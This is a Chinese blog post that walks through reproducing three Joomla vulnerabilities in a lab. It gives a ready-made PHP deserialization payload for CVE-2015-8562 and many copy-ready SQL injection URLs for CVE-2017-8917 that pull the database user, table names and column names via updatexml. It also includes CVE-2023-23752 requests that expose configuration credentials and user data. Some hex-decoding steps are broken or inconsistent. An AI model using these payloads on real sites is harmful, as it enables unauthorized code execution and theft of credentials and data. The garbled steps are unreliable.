目 录CONTENT

文章目录

Joomla 常见漏洞复现

Administrator
2024-11-21 / 0 评论 / 0 点赞 / 4 阅读 / 0 字

Joomla是一款免费开源的内容管理系统。 全球约2.8%(2018年数据)的网站为Joomla建设,Joomla,Wordpress,Drupal为全球排名前3的CMS系统。 Joomla以安全稳定著称,一直备受学校,政府,大型公司的青睐。 是一款企业级CMS解决方案。

目录结构

CVE-2015-8562 反序列化漏洞

漏洞产生原因

PHP5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在Mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。通过Joomla中的Gadget,可造成任意代码执行的结果。

影响版本

  • Joomla 1.5.x, 2.x, and 3.x before 3.4.6

  • PHP 5.6 < 5.6.13, PHP 5.5 < 5.5.29 and PHP 5.4 < 5.4.45

漏洞复现

1.首先我们不带User-Agent头,先访问一次目标主页,记下服务端返回的Cookie

复现步骤就是先不带User-Agent: 和Cookie: 去请求一次,然后复制服务端返回的Cookie:

然后构造POC

https://onlinephp.io/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd

复制poc

主要就是这个𝌆

但不知各位是否还记得当年wordpress出过的一个XSS( http://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html ),

当时就是在插入数据库的时候利用"𝌆"(%F0%9D%8C%86)字符将utf-8的字段截断了。

 123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}𝌆 

要发包两次

第一次发包,脏数据进入Mysql数据库。

然后同样的包再发一次,我们的代码被执行:

复现失败-应该是靶场环境变了。

CVE-2017-8917

1 漏洞概述

Joomla是一个基于PHP的内容管理系统(CMS),广泛应用于各类网站。2017年,Joomla 3.7.0版本被发现存在SQL注入漏洞(CVE-2017-8917),攻击者可以利用该漏洞对数据库进行未授权查询或操作,可能导致数据泄露、篡改甚至删除。

2 影响范围
  • Joomla 3.7.0版本

3 漏洞原理

该漏洞主要源于Joomla 3.7.0版本中对用户输入处理不当,导致攻击者可以在特定条件下向SQL查询中注入恶意代码。具体来说,漏洞存在于libraries/src/User/User.php文件中的load()方法,当用户登录时,会调用此方法来加载用户信息。然而,该方法未能充分过滤用户输入,从而导致了SQL注入的发生。

  1. 网站的注入点,访问此URL可以显示这个站点所有自定义字段的列表。程序会取list[fullording]后面的值,经过过滤后拼接到SQL语句中order by后,形成完整的查询语句,对自定义的字段进行排序。但由于过滤不严格,仅仅对一些特殊字符如",',\n,\r等进行了过滤,这就导致了注入。通过向这个参数传送特殊构造的SQL语句,可以执行我们想要的SQL查询,得到数据库中的内容

http://192.168.100.104:8080/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=

  1. order by 注入,在MySQL中,order by后面可以跟三种形式。其中,我们就是利用构造表达式来完成注。

  • 列名(字符串,表中存在的列)

  • 位置(整数,指定哪一列)

  • 表达式(比如SQL的函数,如updatexml(),rand(),extravalue(),SLEEP()等)

  1. 基于时间的注入

  • 构造以下语句,发现提交参数后,页面响应时间延长。证明构造的语句成功执行。后台程序没有对语句进行过滤转义等,我们可以进一步构造语句,获取数据
    if(1=0,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))

  1. 基于报错的注入

  • 构造以下语句。updatexml()函数是MYSQL对XML文档数据进行查询和修改的XPATH函数,这个函数的第一个参数指明lXML对象的名称,第二个参数为XPATH字符串,如果语法不对,就会保错,第三个参数为对XML进行更新的数据。我们就是要利用第二个参数,构造错误的XPATH字符串,通过报错信息来获取数据。可以看到,在保存信息中包含了user()函数的返回结果,注入成功

updatexml(1,concat(0x3a,user(),0x3a),1);
http://192.168.100.104:8080/joomla/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x3a,user(),0x3a),1);

报错信息-显示user()

  • 其他会报错的函数,如extractvalue(),也是注入的一种手段,和updatexml()效果相同,都是因为回显错误信息,泄漏了数据

extractvalue(666,concat(0x3a,version(),0x3a))

之前的一个语句中存在错误
updatexml(0x23,concat(1,user()),1)

这里的参数含义如下:

  • 0x23: 十六进制形式的 #,作为 XML 的路径参数。

  • concat(1,user()): 尝试获取当前数据库用户。

  • 1: 用作替换节点内容的参数。

MySQL 在处理 updatexml() 时会检查参数的合法性:

  1. 第一个参数:必须是有效的 XML 文档或路径,否则会报错。

  2. 第二个参数:需要是合法的 XPath 表达式。

  3. 第三个参数:可以是任何值。

如果 0x23 并非合法 XML 或 XPath 表达式,则会抛出错误。

错误原因可能有以下几点:

  1. 参数无效

    • 0x23 并不是一个有效的 XML 文档或路径。

  2. MySQL 版本限制

    • 在较新的 MySQL 版本中,updatexml() 函数对参数验证更加严格。

  3. SQL 注入点过滤

    • Joomla 的参数过滤机制可能对你的输入进行了转义或修改。

错误信息中的内容可以帮助确认原因。如果你得到如下错误:

  • XPATH syntax error:表示 XPath 表达式不合法。

  • You have an error in your SQL syntax:表明 SQL 语法不符合 MySQL 要求。

修改语句并重试

updatexml(1,concat(0x7e,(user()),0x7e),1)

尝试使用合法的 XPath 表达式和参数构造 payload,例如:

  • 0x7e~ 的十六进制表示。

  • 包裹 user() 的结果,使其作为 XML 错误输出的一部分返回。

http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(1,concat(0x7e,(user()),0x7e),1)

获取表名

获取数据库表名,要构造攻击语句获取数据,我们首先要知道数据库中存储重要数据的表的名称。在MySQL中,information_schema数据库专门存储了MySQL自己数据库的元数据。我们可以利用这个数据库中的tables表来获取表名。因为查询结果中有多行会注入失败,所以只能一行一行的获取,这样手动获取表名太麻烦,我们可以使用burpsuite中的Intruder工具,Burp Intruder是一个强大的工具,用于自动对Web应用程序自定义的攻击,Burp Intruder 是高度可配置的,并被用来在广范围内进行自动化攻击。在本次实验中,我们用Intruder工具枚举参数值,不断修改LIMIT语句第一个参数值,即返回记录的偏移量,然后在response中设置正则匹配,提取表名及所属数据库。这样可以获取到所有表名

UpdateXML(2, concat(0x3a,(SELECT(concat(TABLE_SCHEMA,0x3a,TABLE_NAME))FROM(information_schema.tables) LIMIT 0,1),0x3a),1)

information_schema:CHARACTER_SE

查询结果有长度的限制

有俩方法

一个是分段截取,就是第一次截取前30个字符,第二次截取后30个字符

http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT SUBSTRING(concat(TABLE_SCHEMA,0x3a,TABLE_NAME),1,30) FROM information_schema.tables LIMIT 0,1),0x3a),1)

500 XPATH syntax error: ':information_schema:CHARACTER_S:'
http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT SUBSTRING(concat(TABLE_SCHEMA,0x3a,TABLE_NAME),31,30) FROM information_schema.tables LIMIT 0,1),0x3a),1)

500 XPATH syntax error: ':ETS:'

从结果来看,你已经成功通过分段的方式提取到了表名:

  1. 第一段information_schema:CHARACTER_S

    • 数据库名:information_schema

    • 表名(部分):CHARACTER_S

  2. 第二段ETS

    • 表名的后续部分:ETS

完整表名CHARACTER_SETS

这是 information_schema 数据库中存储字符集相关信息的表CHARACTER_SETS

在获取数据库表名时,发现有一些不足。

获取到的表名在返回时前缀被屏蔽,而且查询结果有长度的限制,只能看到16字节内的字符。

我们先解决第一个问题,使用下列语句,使用hex()函数,将字符串转换为16进制的表示形式,在本地又重新转换为字符串,这样表名的前缀就不会被屏蔽,可以得到完整的表名

UpdateXML(2, concat(0x3a,(SELECT(HEX(6A5F66696E6465725F6C696E6B735F7))FROM(information_schema.CHARACTER_SE) LIMIT 85,1),0x3a),1)
http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,%20concat(0x3a,(SELECT(HEX(TABLE_NAME))FROM(information_schema.tables)%20LIMIT%2085,1),0x3a),1)

6A5F66696E6465725F6C696E6B735F7

解码十六进制字符串

6A5F66696E6465725F6C696E6B735F7 解码为 ASCII 字符串,可以通过 Python 等工具进行:

hex_string = "6A5F66696E6465725F6C696E6B735F7"
decoded_string = bytes.fromhex(hex_string).decode('utf-8')
print(decoded_string)

结果为:j_fin_der_link

获取列名

解决了获取表名不完整的问题后,我们可以尝试根据表名获取对应表的所有列名。由于程序屏蔽了单引号,我们不能使用常规的字符串条件如 TABLE_NAME='users' 进行判断。所以我们使用LIKE操作符代替,LIKE操作符支持16进制参数,可以将目标表名字符串转换为16进制数值,放在LIKE语句后充当条件,这样,查询结果就会返回目标表的所有列名。我们还是用burpsuite来循环参数来获取所有列名

UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME))FROM(information_schema.COLUMNS) WHERE TABLE_NAME LIKE 0x6A5F66696E6465725F6C696E6B735F7 LIMIT 0,1),0x3a),1)

修改后的注入语句

如果你之前获得的表名是 6A5F66696E6465725F6C696E6B735F7,那么注入语句应如下

UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME)) FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x6a5f66696e6465725f6c696e6b735f7 LIMIT 0,1),0x3a),1)

构造注入 URL: 将构造的 SQL 注入语句嵌入到 URL 中:

http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME)) FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x6a5f66696e6465725f6c696e6b735f7 LIMIT 0,1),0x3a),1)
  • 获取返回结果

    • 如果返回的是类似 :column_name: 的结果,表示表中存在列名 column_name

    • 你可以修改 LIMIT 参数来获取下一列名,或者通过 Burp Suite 自动化枚举所有列名。

  • 枚举所有列

    • 修改 LIMIT 0,1LIMIT 1,1LIMIT 2,1 等,逐步获取表中的所有列名。

    • 例如:

http://192.168.100.104:8080/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=UpdateXML(2,concat(0x3a,(SELECT(concat(COLUMN_NAME)) FROM information_schema.COLUMNS WHERE TABLE_NAME LIKE 0x6a5f66696e6465725f6c696e6b735f7 LIMIT 1,1),0x3a),1)

自动化操作(使用 Burp Suite Intruder)

  • 使用 Burp Suite Intruder 自动化攻击,枚举 LIMIT 的偏移量(例如从 0 到 100),逐个获取表的列名。

CVE-2023-23752

一.Openfire简介

Joomla是一个免费的开源内容管理系统(CMS),允许用户构建网站和在线应用程序。它于 2005 年首次发布,此后成为最受欢迎的 CMS 平台之一,为全球数百万个网站提供支持。

二.漏洞简述

在 Joomla! 4.0.0 到 4.2.7 中发现了一个问题。不正确地访问检查允许对 Web 服务终结点进行未经授权的访问。

三.漏洞原理

CVE-2023-23752 是身份验证绕过,导致 Joomla 信息泄露。

四.影响版本

4.0.0 <= Joomla <= 4.2.7

=======================

根目录的index.php (用户访问文章)

根目录的administrator/index.php (管理员管理)

根目录的api/index.php (开发者爱好的Rest API)

=======================

未授权的接口正是第三个入口,

因此受影响范围为 Joomla4.0.0——Joomla4.2.7(Rest API 4.x正式开发)

1.漏洞利用

例如,通过以下POC1公开所有配置,包括MySQL用户名和密码:

POC1(GET)

http://your-ip:8080/api/index.php/v1/config/application?public

POC2(GET)

http://your-ip:8080/api/index.php/v1/users?public=true

通过以以上POC公开所有用户信息。

引自

https://www.cnblogs.com/arrest/articles/17660026.html

https://www.jianshu.com/p/76451380b129

-.-

0

评论区